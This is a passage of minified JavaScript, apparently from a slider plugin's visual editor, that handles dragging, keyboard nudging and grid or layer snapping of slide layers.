R=RVS.F.getSnapPoint(p.x,p.y),u=RVS.F.getSnapPoint(o.x,o.y);a=RVS.F.getSnapPoint(a.x,a.y),"center"!==l&&(p.x=R.x),"middle"!==n&&(p.y=R.y),RVS.S.updatePosToXDif=o.x-u.x-(a.x-r.x),RVS.S.updatePosToYDif=o.y-u.y-(a.y-r.y),o=u}if("right"!==l?(s.right="auto",s.left=p.x+o.x):(s.left="auto",s.right=p.x-o.x),"bottom"!==n?(s.bottom="auto",s.top=p.y+o.y):(s.top="auto",s.bottom=p.y-o.y),s.x="center"===l?a.x:0,s.y="middle"===n?a.y:0,"slide"===i.behavior.baseAlign&&-1===i.group.puid&&(s.x="right"===l?s.x+RVS.C.layergrid[0].offsetLeft:"left"===l?s.x-RVS.C.layergrid[0].offsetLeft:s.x,s.y="bottom"===n?s.y+RVS.C.layergrid[0].offsetTop:"top"===n?s.y-RVS.C.layergrid[0].offsetTop:s.y),e.updateValues){var V={x:"right"===l?r.x-o.x:r.x+o.x,y:"bottom"===n?r.y-o.y:r.y+o.y};if("column"===RVS.S.DaD.toContainerType)V.x=0,V.y=0;else if(e.snapToGrid&&RVS.S.DaD.sameLevelNotColumn)V=RVS.F.getSnapPoint(V.x,V.y);else if(e.snapToLayers&&RVS.S.DaD.sameLevelNotColumn){if(-1!==RVS.S.DaD.snapHF.uid){if(e.uid==RVS.S.DaD.currentLayerId){var y=parseInt(RVS.L[RVS.S.DaD.snapHF.uid].position.x[RVS.screen].v,0)+("left"===l?RVS.S.DaD.snapHF.offset:"center"===l?RVS.S.DaD.snapHF.offset-RVS.S.DaD.snapHF.w/2:RVS.S.DaD.snapHF.w-RVS.S.DaD.snapHF.offset);y+=RVS.S.DaD.snapHF.prio>6?"right"===l?0:"left"===l?0-d:0-d/2:RVS.S.DaD.snapHF.prio>3?"right"===l?0-d/2:"left"===l?0-d/2:0:RVS.S.DaD.snapHF.prio<4?"right"===l?0-d:"left"===l?0:d/2:0,RVS.S.DaD.difh=V.x-y,V.x=Math.round(y)}else V.x=V.x-RVS.S.DaD.difh;"right"===l?s.right=s.right-RVS.S.DaD.difh:s.left=s.left-RVS.S.DaD.difh}if(-1!==RVS.S.DaD.snapVF.uid){if(e.uid==RVS.S.DaD.currentLayerId){var m=parseInt(RVS.L[RVS.S.DaD.snapVF.uid].position.y[RVS.screen].v,0)+("top"===n?RVS.S.DaD.snapVF.offset:"middle"===n?RVS.S.DaD.snapVF.offset-RVS.S.DaD.snapVF.h/2:RVS.S.DaD.snapVF.h-RVS.S.DaD.snapVF.offset);m+=RVS.S.DaD.snapVF.prio>6?"bottom"===n?0:"top"===n?0-S:0-S/2:RVS.S.DaD.snapVF.prio>3?"bottom"===n?0-S/2:"top"===n?0-S/2:0:RVS.S.DaD.snapVF.prio<4?"bottom"===n?0-S:"top"===n?0:S/2:0,RVS.S.DaD.difv=V.y-m,V.y=Math.round(m)}else V.y=V.y-RVS.S.DaD.difv;"bottom"===n?s.bottom=s.bottom-RVS.S.DaD.difv:s.top=s.top-RVS.S.DaD.difv}}RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".position.x.#size#.v",val:V.x+"px",uid:e.uid}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".position.y.#size#.v",val:V.y+"px",uid:e.uid}),RVS.S.updatePosToX=V.x,RVS.S.updatePosToY=V.y}else if(e.mouseInfo&&(RVS.S.updatePosToX="column"===RVS.S.DaD.toContainerType?0:"right"===l?r.x-o.x:r.x+o.x,RVS.S.updatePosToY="column"===RVS.S.DaD.toContainerType?0:"bottom"===n?r.y-o.y:r.y+o.y,e.snapToGrid&&RVS.S.DaD.sameLevelNotColumn)){var f=RVS.F.getSnapPoint(RVS.S.updatePosToX,RVS.S.updatePosToY);RVS.S.updatePosToX=f.x,RVS.S.updatePosToY=f.y}s.position="absolute",requestAnimationFrame(function(){tpGS.gsap.set(t.w,s)})}}},RVS.F.resetDragStates=function(){for(var e in RVS.S.DaD.showInMini=!1,RVS.H)RVS.H.hasOwnProperty(e)&&d(e)},RVS.F.moveLayerByKeys=function(e){if(window.moveByKeyboard||(RVS.F.openBackupGroup({id:"LayerPosition",txt:"Layer Position",icon:"open_with"}),window.moveByKeyboard=!0),RVS.S.DaD.difh=0,RVS.S.DaD.difv=0,1===RVS.selLayers.length&&-1!==RVS.L[RVS.selLayers[0]].group.puid&&"column"===RVS.L[RVS.L[RVS.selLayers[0]].group.puid].type){if(-1==e.x||-1==e.y)(t=RVS.F.getPrevNextLayerInOrder(RVS.selLayers[0],"prev"))!==RVS.selLayers[0]&&RVS.F.sortLayer({layer:RVS.selLayers[0],target:"before",env:t,redraw:!0});else if(1===e.x||1===e.y){var t;(t=RVS.F.getPrevNextLayerInOrder(RVS.selLayers[0],"next"))!==RVS.selLayers[0]&&RVS.F.sortLayer({layer:RVS.selLayers[0],target:"after",env:t,redraw:!0})}}else for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.selLayers[i];RVS.F.updateHTMLLayerPosition({uid:a,o:e,updateValues:!0,lhCwidth:RVS.H[a].c.outerWidth(),lhCheight:RVS.H[a].c.outerHeight()}),document.getElementById("layer_pos_x").value=RVS.L[a].position.x[RVS.screen].v,document.getElementById("layer_pos_y").value=RVS.L[a].position.y[RVS.screen].v}},RVS.F.collectAllSameAlignedLayers=function(e){for(var t in RVS.S.DaD.snapH={},RVS.S.DaD.snapV={},RVS.L)RVS.L[t].hasOwnProperty&&RVS.L[t].group.puid===RVS.S.DaD.fromContainerID&&void 0!==RVS.L[t].hover&&e!=RVS.L[t].uid&&(RVS.L[t].position.horizontal[RVS.screen].v===RVS.L[e].position.horizontal[RVS.screen].v&&(RVS.S.DaD.snapH[RVS.L[t].uid]={ox:parseInt(RVS.L[t].position.x[RVS.screen].v,0),x:RVS.H[t].w[0].offsetLeft,w:RVS.H[t].w[0].offsetWidth},RVS.S.DaD.snapH[RVS.L[t].uid].x="center"===RVS.L[e].position.horizontal[RVS.screen].v?RVS.S.DaD.snapH[RVS.L[t].uid].ox+RVS.S.lgw/2-RVS.S.DaD.snapH[RVS.L[t].uid].w/2:RVS.S.DaD.snapH[RVS.L[t].uid].x,RVS.S.DaD.snapH[RVS.L[t].uid].xc=RVS.S.DaD.snapH[RVS.L[t].uid].x+RVS.S.DaD.snapH[RVS.L[t].uid].w/2,RVS.S.DaD.snapH[RVS.L[t].uid].xr=RVS.S.DaD.snapH[RVS.L[t].uid].x+RVS.S.DaD.snapH[RVS.L[t].uid].w),RVS.L[t].position.vertical[RVS.screen].v===RVS.L[e].position.vertical[RVS.screen].v&&(RVS.S.DaD.snapV[RVS.L[t].uid]={oy:parseInt(RVS.L[t].position.y[RVS.screen].v,0),y:RVS.H[t].w[0].offsetTop,h:RVS.H[t].w[0].offsetHeight},RVS.S.DaD.snapV[RVS.L[t].uid].y="middle"===RVS.L[e].position.vertical[RVS.screen].v?RVS.S.DaD.snapV[RVS.L[t].uid].oy+RVS.S.lgh/2-RVS.S.DaD.snapV[RVS.L[t].uid].h/2:RVS.S.DaD.snapV[RVS.L[t].uid].y,RVS.S.DaD.snapV[RVS.L[t].uid].ym=RVS.S.DaD.snapV[RVS.L[t].uid].y+RVS.S.DaD.snapV[RVS.L[t].uid].h/2,RVS.S.DaD.snapV[RVS.L[t].uid].yb=RVS.S.DaD.snapV[RVS.L[t].uid].y+RVS.S.DaD.snapV[RVS.L[t].uid].h))},RVS.F.closeToOtherLayers=function(e,t){RVS.S.DaD.snapHF={offset:1e4,d:2e4,uid:-1,prio:50},RVS.S.DaD.snapVF={offset:1e4,d:2e4,uid:-1,prio:50},t.m=t.x+t.w/2,t.e=t.x+t.w;var i=RVS.SLIDER.settings.snap.gap;for(var a in RVS.S.DaD.snapH){if(!RVS.S.DaD.snapH[a].hasOwnProperty)continue;let e=RVS.S.DaD.snapH[a],r=Math.abs(t.x-e.x+RVS.S.DaD.scrolldiff.x),s=Math.abs(t.x-e.xc+RVS.S.DaD.scrolldiff.x),o=Math.abs(t.x-e.xr+RVS.S.DaD.scrolldiff.x),n=Math.abs(t.x-(e.x-i)+RVS.S.DaD.scrolldiff.x),l=Math.abs(t.x-(e.xr+i)+RVS.S.DaD.scrolldiff.x),d=Math.abs(t.m-e.x+RVS.S.DaD.scrolldiff.x),S=Math.abs(t.m-e.xc+RVS.S.DaD.scrolldiff.x),c=Math.abs(t.m-e.xr+RVS.S.DaD.scrolldiff.x),p=Math.abs(t.e-e.x+RVS.S.DaD.scrolldiff.x),R=Math.abs(t.e-e.xc+RVS.S.DaD.scrolldiff.x),u=Math.abs(t.e-e.xr+RVS.S.DaD.scrolldiff.x);grl=Math.abs(t.e-(e.x-i)+RVS.S.DaD.scrolldiff.x),gre=Math.abs(t.e-(e.xr+i)+RVS.S.DaD.scrolldiff.x),r<10&&r<RVS.S.DaD.snapHF.d?RVS.S.DaD.snapHF={offset:0,uid:a,d:r,prio:1,w:e.w}:i>5&&n<10&&n<RVS.S.DaD.snapHF.d?RVS.S.DaD.snapHF={offset:0-i,uid:a,d:r,prio:1,w:e.w}:RVS.S.DaD.snapHF.prio>=2&&s<=10&&RVS.S.DaD.snapHF.offset>e.w/2?RVS.S.DaD.snapHF={offset:e.w/2,uid:a,prio:2,d:s,w:e.w}:RVS.S.DaD.snapHF.prio>=3&&o<=10&&RVS.S.DaD.snapHF.offset>e.w?RVS.S.DaD.snapHF={offset:e.w,uid:a,prio:3,d:o,w:e.w}:i>5&&RVS.S.DaD.snapHF.prio>=3&&l<10&&RVS.S.DaD.snapHF.offset>e.w?RVS.S.DaD.snapHF={offset:e.w+i,uid:a,prio:3,d:o,w:e.w,gap:1}:RVS.S.DaD.snapHF.prio>=4&&d<=10&&d<RVS.S.DaD.snapHF.d?RVS.S.DaD.snapHF={offset:0,d:d,uid:a,prio:4,w:e.w}:RVS.S.DaD.snapHF.prio>=5&&S<=10&&S<RVS.S.DaD.snapHF.d?RVS.S.DaD.snapHF={offset:e.w/2,d:S,uid:a,prio:5,w:e.w}:RVS.S.DaD.snapHF.prio>=6&&c<=10&&c<RVS.S.DaD.snapHF.d?RVS.S.DaD.snapHF={offset:e.w,d:c,uid:a,prio:6,w:e.w}:RVS.S.DaD.snapHF.prio>=7&&p<=10&&p<RVS.S.DaD.snapHF.d?RVS.S.DaD.snapHF={offset:0,d:p,uid:a,prio:7,w:e.w}:i>5&&RVS.S.DaD.snapHF.prio>=7&&grl<i&&p<RVS.S.DaD.snapHF.d?RVS.S.DaD.snapHF={offset:0-i,d:p,uid:a,prio:7,w:e.w,gap:1}:RVS.S.DaD.snapHF.prio>=8&&R<=10&&R<RVS.S.DaD.snapHF.d?RVS.S.DaD.snapHF={offset:e.w/2,d:R,uid:a,prio:8,w:e.w}:RVS.S.DaD.snapHF.prio>=9&&u<=10&&u<RVS.S.DaD.snapHF.d?RVS.S.DaD.snapHF={offset:e.w,d:u,uid:a,prio:9,w:e.w}:i>5&&RVS.S.DaD.snapHF.prio>=9&&gre<i&&u<RVS.S.DaD.snapHF.d&&(RVS.S.DaD.snapHF={offset:e.w+i,d:u,uid:a,prio:9,w:e.w,gap:1})}for(var a in t.m=t.y+t.h/2,t.e=t.y+t.h,RVS.S.DaD.snapV){if(!RVS.S.DaD.snapV[a].hasOwnProperty)continue;let e=RVS.S.DaD.snapV[a],r=Math.abs(t.y-e.y+RVS.S.DaD.scrolldiff.y),s=Math.abs(t.y-e.ym+RVS.S.DaD.scrolldiff.y),o=Math.abs(t.y-e.yb+RVS.S.DaD.scrolldiff.y),n=Math.abs(t.y-(e.y-i)+RVS.S.DaD.scrolldiff.y),l=Math.abs(t.y-(e.yb+i)+RVS.S.DaD.scrolldiff.y),d=Math.abs(t.m-e.y+RVS.S.DaD.scrolldiff.y),S=Math.abs(t.m-e.ym+RVS.S.DaD.scrolldiff.y),c=Math.abs(t.m-e.yb+RVS.S.DaD.scrolldiff.y),p=Math.abs(t.e-e.y+RVS.S.DaD.scrolldiff.y),R=Math.abs(t.e-e.ym+RVS.S.DaD.scrolldiff.y),u=Math.abs(t.e-e.yb+RVS.S.DaD.scrolldiff.y),V=Math.abs(t.e-(e.y-i)+RVS.S.DaD.scrolldiff.y),y=Math.abs(t.e-(e.yb+i)+RVS.S.DaD.scrolldiff.y);r<10&&r<RVS.S.DaD.snapVF.d?RVS.S.DaD.snapVF={offset:0,uid:a,d:r,prio:1,h:e.h}:i>5&&n<10&&r<RVS.S.DaD.snapVF.d?RVS.S.DaD.snapVF={offset:0-i,uid:a,d:r,prio:1,h:e.h,gap:1}:RVS.S.DaD.snapVF.prio>=2&&s<10&&RVS.S.DaD.snapVF.offset>e.h/2?RVS.S.DaD.snapVF={offset:e.h/2,uid:a,prio:2,d:s,h:e.h}:RVS.S.DaD.snapVF.prio>=3&&o<10&&RVS.S.DaD.snapVF.offset>e.h?RVS.S.DaD.snapVF={offset:e.h,uid:a,prio:3,d:o,h:e.h}:i>5&&RVS.S.DaD.snapVF.prio>=3&&l<10&&RVS.S.DaD.snapVF.offset>e.h?RVS.S.DaD.snapVF={offset:e.h+i,uid:a,prio:3,d:o,h:e.h,gap:1}:RVS.S.DaD.snapVF.prio>=4&&d<10&&d<RVS.S.DaD.snapVF.d?RVS.S.DaD.snapVF={offset:0,d:d,uid:a,prio:4,h:e.h}:RVS.S.DaD.snapVF.prio>=5&&S<10&&S<RVS.S.DaD.snapVF.d?RVS.S.DaD.snapVF={offset:e.h/2,d:S,uid:a,prio:5,h:e.h}:RVS.S.DaD.snapVF.prio>=6&&c<10&&c<RVS.S.DaD.snapVF.d?RVS.S.DaD.snapVF={offset:e.h,d:c,uid:a,prio:6,h:e.h}:RVS.S.DaD.snapVF.prio>=7&&p<10&&p<RVS.S.DaD.snapVF.d?RVS.S.DaD.snapVF={offset:0,d:p,uid:a,prio:7,h:e.h}:i>5&&RVS.S.DaD.snapVF.prio>=7&&V<10&&p<RVS.S.DaD.snapVF.d?RVS.S.DaD.snapVF={offset:0-i,d:p,uid:a,prio:7,h:e.h,gap:1}:RVS.S.DaD.snapVF.prio>=8&&R<10&&R<RVS.S.DaD.snapVF.d?RVS.S.DaD.snapVF={offset:e.h/2,d:R,uid:a,prio:8,h:e.h}:RVS.S.DaD.snapVF.prio>=9&&u<10&&u<RVS.S.DaD.snapVF.d?RVS.S.DaD.snapVF={offset:e.h,d:u,uid:a,prio:9,h:e.h}:i>5&&RVS.S.DaD.snapVF.prio>=9&&y<10&&u<RVS.S.DaD.snapVF.d&&(RVS.S.DaD.snapVF={offset:e.h+i,d:u,uid:a,prio:9,h:e.h,gap:1})}},RVS.F.doDraggable=function(e){var t=RVS.H[e.uid];t.w.data("draggable")&&t.w.draggable("destroy"),t.w.data("resizable")&&t.w.resizable("destroy"),e.drag&&t.w.draggable({helper:"clone",appendTo:"#layer_grid_"+RVS.S.slideId,start:function(i,a){if(RVS.animationMode="#form_layer_animation"===RVS.eMode.menu&&"animation"===RVS.eMode.mode,RVS.F.setRulers(),RVS.F.stopAndPauseAllLayerAnimation(),RVS.F.resetDragStates(),RVS.S.DaD.touchPosition={x:i.clientX-a.originalPosition.left,y:i.clientY-a.originalPosition.top},RVS.S.ulInner[0].classList.add("dropSensorActive"),RVS.F.updateContentDeltas(),RVS.S.DaD.dropSensor=!0!==RVS.animationMode?1:0,RVS.S.DaD.currentLayerId=e.uid,RVS.S.DaD.draggedPosType=t.w[0].style.position,RVS.S.click.y=i.clientY,RVS.S.click.x=i.clientX,RVS.S.DaD.startPos="0",RVS.S.DaD.fromContainerID=RVS.L[e.uid].group.puid,RVS.S.DaD.lastRegisteredRow=-1===RVS.S.DaD.fromContainerID?-1:"group"===RVS.L[RVS.S.DaD.fromContainerID].type?"group":RVS.L[RVS.S.DaD.fromContainerID].group.puid,RVS.S.DaD.lastRegisteredRowBefore=RVS.S.DaD.lastRegisteredRow,window.scrollMem={y:RVS.S.rb_ScrollY,x:RVS.S.rb_ScrollX},RVS.S.DaD.fromContainerRowColumn=-1!==RVS.S.DaD.fromContainerID,RVS.S.DaD.uiHelper=a.helper,RVS.S.DaD.clone=RVS.S.DaD.fromContainerRowColumn?a.helper:t.w,RVS.S.DaD.dragItemOffset=t.w.offset(),RVS.S.DaD.fromContainerType=RVS.S.DaD.fromContainerID>=0&&RVS.S.DaD.fromContainerID<=5e3?RVS.L[RVS.L[e.uid].group.puid].type:"root",RVS.S.DaD.scrolldiff={x:RVS.S.rb_ScrollX-window.scrollMem.x,y:RVS.S.rb_ScrollY-window.scrollMem.y},RVS.ENV.tlGridWrap[0].classList.remove("selected"),!0!==RVS.animationMode){for(var r in RVS.S.WWL=RVS.L[e.uid],RVS.S.lpv=RVS.S.WWL.position.vertical[RVS.screen].v,RVS.S.lph=RVS.S.WWL.position.horizontal[RVS.screen].v,RVS.C.layer_pos_x=void 0===RVS.C.layer_pos_x?document.getElementById("layer_pos_x"):RVS.C.layer_pos_x,RVS.C.layer_pos_y=void 0===RVS.C.layer_pos_y?document.getElementById("layer_pos_y"):RVS.C.layer_pos_y,"layers"===RVS.SLIDER.settings.snap.adjust&&RVS.F.collectAllSameAlignedLayers(e.uid),RVS.S.DaD.snapToGrid="grid"===RVS.SLIDER.settings.snap.adjust,RVS.S.DaD.snapToLayers="layers"===RVS.SLIDER.settings.snap.adjust,RVS.H)RVS.H.hasOwnProperty(r)&&"group"===RVS.L[r].type&&(RVS.H[r].w_offset=RVS.H[r].w.offset());for(var s in RVS.F.selectLayers({id:e.uid,overwrite:!0,action:"add",quickmode:!0}),RVS.S.DaD.CoveredDims="slide"===RVS.L[e.uid].behavior.baseAlign?RVS.F.updateCoveredLayer(e.uid):void 0,RVS.selLayers)if(RVS.selLayers.hasOwnProperty(s)){r=RVS.selLayers[s];RVS.H[r].c_width=RVS.H[r].c.outerWidth(),RVS.H[r].c_height=RVS.H[r].c.outerHeight(),RVS.H[r].w_offsetcache={horizontal:RVS.S.DaD.dragItemOffset.left-RVS.H[r].w.offset().left,vertical:RVS.S.DaD.dragItemOffset.top-RVS.H[r].w.offset().top}}RVS.S.DaD.originalWidth=t.w.width()+1,a.helper.css({zIndex:1e5,width:RVS.S.DaD.originalWidth}),tpGS.gsap.set(t.w,{opacity:0}),RVS.C.layergrid.addClass("layersInDragorResize")}else{if(void 0!==RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame]&&""+RVS.S.DaD.currentLayerId==""+RVS.selLayers[0]||(RVS.F.selectLayers({id:RVS.S.DaD.currentLayerId,overwrite:!0,action:"add",ignoreUpdate:"onlyhtml",ignoreFieldUpdates:!1,ignoreModeChange:!0}),void 0===RVS.S.keyFrame&&(RVS.F.setKeyframeSelected("frame_1"),RVS.S.keyFrame="frame_1")),RVS.S.DaD.layerFrameX=document.getElementById("le_frame_x"),RVS.S.DaD.layerFrameY=document.getElementById("le_frame_y"),RVS.S.DaD.frameOXH=RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].transform.x[RVS.screen].v,RVS.S.DaD.frameOYH=RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].transform.y[RVS.screen].v,"inherit"===RVS.S.DaD.frameOXH||"inherit"===RVS.S.DaD.frameOYH){var o=RVS.F.getPrevNextFrame({layerid:RVS.selLayers[0],frame:RVS.S.keyFrame});RVS.S.DaD.frameOXH="inherit"===RVS.S.DaD.frameOXH?RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[o.prev.frameid].transform.x[RVS.screen].v:RVS.S.DaD.frameOXH,RVS.S.DaD.frameOYH="inherit"===RVS.S.DaD.frameOYH?RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[o.prev.frameid].transform.y[RVS.screen].v:RVS.S.DaD.frameOYH,RVS.S.DaD.frameOXH="inherit"===RVS.S.DaD.frameOXH?0:RVS.S.DaD.frameOXH,RVS.S.DaD.frameOYH="inherit"===RVS.S.DaD.frameOYH?0:RVS.S.DaD.frameOYH}RVS.S.DaD.frameOX=parseInt(RVS.S.DaD.frameOXH,0),RVS.S.DaD.frameOY=parseInt(RVS.S.DaD.frameOYH,0),RVS.S.DaD.frameOX_N=RVS.F.isNumeric(RVS.S.DaD.frameOX)&&((""+RVS.S.DaD.frameOXH).indexOf("px")>=0||"0"==RVS.S.DaD.frameOXH),RVS.S.DaD.frameOY_N=RVS.F.isNumeric(RVS.S.DaD.frameOY)&&((""+RVS.S.DaD.frameOYH).indexOf("px")>=0||"0"==RVS.S.DaD.frameOYH),tpGS.gsap.set(t.w,{opacity:1}),a.helper.css({opacity:0})}tpGS.gsap.set(a.helper.find("._lc_content_")[0],{whiteSpace:"nowrap"})},drag:function(t,i){if(RVS.S.DaD.scrolldiff={x:RVS.S.rb_ScrollX-window.scrollMem.x,y:RVS.S.rb_ScrollY-window.scrollMem.y},RVS.S.DaD.dragdelta.x=Math.round((t.clientX-RVS.S.click.x+RVS.S.DaD.scrolldiff.x)/RVS.zoom),RVS.S.DaD.dragdelta.y=Math.round((t.clientY-RVS.S.click.y+RVS.S.DaD.scrolldiff.y)/RVS.zoom),!0===RVS.animationMode)RVS.S.DaD.frameOX_N&&(RVS.S.DaD.layerFrameX.value=RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].transform.x[RVS.screen].v=RVS.S.DaD.frameOX+RVS.S.DaD.dragdelta.x+"px"),RVS.S.DaD.frameOY_N&&(RVS.S.DaD.layerFrameY.value=RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].transform.y[RVS.screen].v=RVS.S.DaD.frameOY+RVS.S.DaD.dragdelta.y+"px"),RVS.F.renderLayerAnimation({layerid:RVS.S.DaD.currentLayerId,quickRendering:!1,timeline:"full",caller:"drawHTMLLayer"}),requestAnimationFrame(function(){RVS.F.showMouseInfo({classes:"purplemouseinfo",html:"<div class='mouse_frame_label'>"+RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].alias+"</div><div class='mouse_info_coor '><div><span class='mouselabel'>X</span><span class='mouseval'>"+RVS.S.DaD.layerFrameX.value+"</span></div><div><span class='mouselabel'>Y</span><span class='mouseval'>"+RVS.S.DaD.layerFrameY.value+"</span></div></div></div>"})});else{for(var a in RVS.S.DaD.sameLevelNotColumn=-1===RVS.S.DaD.toContainerID&&"root"===RVS.S.DaD.fromContainerType,void 0!==RVS.S.updateEsyInputsTimer&&(clearTimeout(RVS.S.updateEsyInputsTimer),RVS.S.updateEsyInputsTimerMemory=!0,delete RVS.S.updateEsyInputsTimer),"column"!==RVS.S.DaD.fromContainerType||RVS.S.DaD.showInMini||(RVS.S.DaD.dragdelta.x=RVS.S.DaD.dragdelta.x+RVS.S.DaD.touchPosition.x-RVS.S.layer_grid_offset.left,RVS.S.DaD.dragdelta.y=RVS.S.DaD.dragdelta.y+RVS.S.DaD.touchPosition.y-RVS.S.layer_grid_offset.top),i.position={},RVS.selLayers)if(RVS.selLayers.hasOwnProperty(a)){var r=RVS.selLayers[a];RVS.F.updateHTMLLayerPosition({uid:r,o:RVS.S.DaD.dragdelta,updateDistanceLines:e.uid,lhCwidth:RVS.H[r].c_width,lhCheight:RVS.H[r].c_height,updateFields:r==e.uid,mouseInfo:r==RVS.S.DaD.currentLayerId,snapToGrid:RVS.S.DaD.snapToGrid,snapToLayers:RVS.S.DaD.snapToLayers})}var s={left:(t.clientX-RVS.S.layer_grid_offset.left)/RVS.zoom,top:(t.clientY-RVS.S.layer_grid_offset.top)/RVS.zoom,transformOrigin:"0 0",opacity:.75,scale:.6,width:RVS.S.DaD.originalWidth,display:RVS.L[RVS.S.DaD.currentLayerId].idle.display,x:0+RVS.S.DaD.scrolldiff.x,y:0+RVS.S.DaD.scrolldiff.y};RVS.S.DaD.showInMini||("column"!==RVS.S.DaD.fromContainerType&&(s.left=(t.clientX-RVS.S.DaD.touchPosition.x)/RVS.zoom,s.top=(t.clientY-RVS.S.DaD.touchPosition.y)/RVS.zoom),s.width=void 0!==RVS.S.DaD.CoveredDims&&void 0!==RVS.S.DaD.CoveredDims.width?RVS.S.DaD.CoveredDims:RVS.L[RVS.S.DaD.currentLayerId].size.width[RVS.screen].v,s.display="block",s.scale=1),RVS.S.DaD.snapToGrid&&RVS.S.DaD.sameLevelNotColumn?(s.left=s.left-RVS.S.updatePosToXDif,s.top=s.top-RVS.S.updatePosToYDif):RVS.S.DaD.snapToLayers&&RVS.F.closeToOtherLayers(RVS.S.DaD.currentLayerId,{x:s.left,y:s.top,w:RVS.H[RVS.S.DaD.currentLayerId].c_width,h:RVS.H[RVS.S.DaD.currentLayerId].c_height}),tpGS.gsap.set(i.helper,s),RVS.S.DaD.startPos={x:s.left,y:s.top},RVS.C.layer_pos_x.value=RVS.S.updatePosToX,RVS.C.layer_pos_y.value=RVS.S.updatePosToY,requestAnimationFrame(function(){void 0===RVS.S.updatePosToX||void 0===RVS.S.updatePosToY||0==RVS.S.updatePosToX&&0==RVS.S.updatePosToY?RVS.F.hideMouseInfo():RVS.F.showMouseInfo({html:"<div class='mouse_info_coor'><div><span class='mouselabel'>X</span><span class='mouseval'>"+RVS.S.updatePosToX+"</span></div><div><span class='mouselabel'>Y</span><span class='mouseval'>"+RVS.S.updatePosToY+"</span></div></div><div class='mouse_info_align "+RVS.S.lph+" "+RVS.S.lpv+"'><span class='mia_tl'></span><span class='mia_tc'></span><span class='mia_tr'></span><span class='mia_ml'></span><span class='mia_mc'></span><span class='mia_mr'></span><span class='mia_bl'></span><span class='mia_bc'></span><span class='mia_br'></span></div>"}),"none"!==RVS.SLIDER.settings.snap.adjust&&(RVS.S.DaD.sameLevelNotColumn?RVS.F.snapVisual({av:RVS.S.lpv,ah:RVS.S.lph,sp:"grid"===RVS.SLIDER.settings.snap.adjust?RVS.F.getSnapPoint(RVS.S.updatePosToX,RVS.S.updatePosToY):void 0}):RVS.F.clearSnapVisual())})}},stop:function(i,a){"none"!==RVS.SLIDER.settings.snap.adjust&&RVS.F.clearSnapVisual(),tpGS.gsap.set(a.helper,{scale:1}),RVS.S.ulInner[0].classList.remove("dropSensorActive"),RVS.S.DaD.dropSensor=!1,c(),requestAnimationFrame(function(){RVS.F.hideMouseInfo()});var r=!0===RVS.animationMode?"frame":-1==RVS.S.DaD.fromContainerID&&void 0!==RVS.S.DaD.target&&"free"==RVS.S.DaD.target.into?"layermovement":"layersorting_layermovement";if(RVS.F.openBackupGroup({id:r,txt:!0!==RVS.animationMode?"Layer Position":"Frame Position",icon:"open_with"}),RVS.S.DaD.difh=0,RVS.S.DaD.difv=0,!0!==RVS.animationMode){for(var s in RVS.F.updateHTMLLayerPosition({uid:RVS.S.DaD.currentLayerId,o:RVS.S.DaD.dragdelta,updateValues:!0,lhCwidth:RVS.H[RVS.S.DaD.currentLayerId].c_width,lhCheight:RVS.H[RVS.S.DaD.currentLayerId].c_height,snapToGrid:RVS.S.DaD.snapToGrid,snapToLayers:RVS.S.DaD.snapToLayers}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(s)){var o=RVS.selLayers[s];o!=RVS.S.DaD.currentLayerId&&RVS.F.updateHTMLLayerPosition({uid:o,o:RVS.S.DaD.dragdelta,updateValues:!0,lhCwidth:RVS.H[o].c_width,lhCheight:RVS.H[o].c_height,snapToGrid:RVS.S.DaD.snapToGrid,snapToLayers:RVS.S.DaD.snapToLayers})}}else RVS.S.DaD.frameOX_N&&RVS.F.backup({path:RVS.S.slideId+".layers."+RVS.S.DaD.currentLayerId+".timeline.frames."+RVS.S.keyFrame+".transform.x.#size#.v",lastkey:"v",val:RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].transform.x[RVS.screen].v,old:RVS.S.DaD.frameOX}),RVS.S.DaD.frameOY_N&&RVS.F.backup({path:RVS.S.slideId+".layers."+RVS.S.DaD.currentLayerId+".timeline.frames."+RVS.S.keyFrame+".transform.y.#size#.v",lastkey:"v",val:RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].transform.y[RVS.screen].v,old:RVS.S.DaD.frameOY});RVS.S.DaD.snapToGrid=!1,RVS.S.DaD.snapToLayers=!1,RVS.C.layergrid[0].classList.remove("layersInDragorResize"),!0!==RVS.animationMode&&function(){if(clearTimeout(RVS.S.DaD.timer),"column"===(void 0!==RVS.S.DaD.target?RVS.S.DaD.target.into:"free")){if(void 0!==RVS.S.DaD.target)if(void 0===RVS.S.DaD.target.columnID||"group"!==RVS.S.DaD.target.columnType&&void 0!==RVS.S.DaD.target.elementID)void 0!==RVS.S.DaD.target.elementID&&(RVS.S.DaD.target.elementBefore?RVS.F.sortAllSelectedLayers({layer:RVS.S.DaD.currentLayerId,target:"before",env:RVS.S.DaD.target.elementID}):RVS.F.sortAllSelectedLayers({layer:RVS.S.DaD.currentLayerId,target:"after",env:RVS.S.DaD.target.elementID}));else if(RVS.S.DaD.target.columnTop){if("group"!==RVS.S.DaD.target.columnType||RVS.S.DaD.fromContainerID!=RVS.S.DaD.target.columnID){var e={x:(RVS.S.DaD.clone.offset().left-RVS.S.DaD.dropParentPos.x)/RVS.zoom+RVS.S.DaD.scrolldiff.x,y:(RVS.S.DaD.clone.offset().top-RVS.S.DaD.dropParentPos.y)/RVS.zoom+RVS.S.DaD.scrolldiff.y};if("column"===RVS.S.DaD.target.columnType)for(var t in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)&&"text"===RVS.L[RVS.selLayers[t]].type)for(var i in 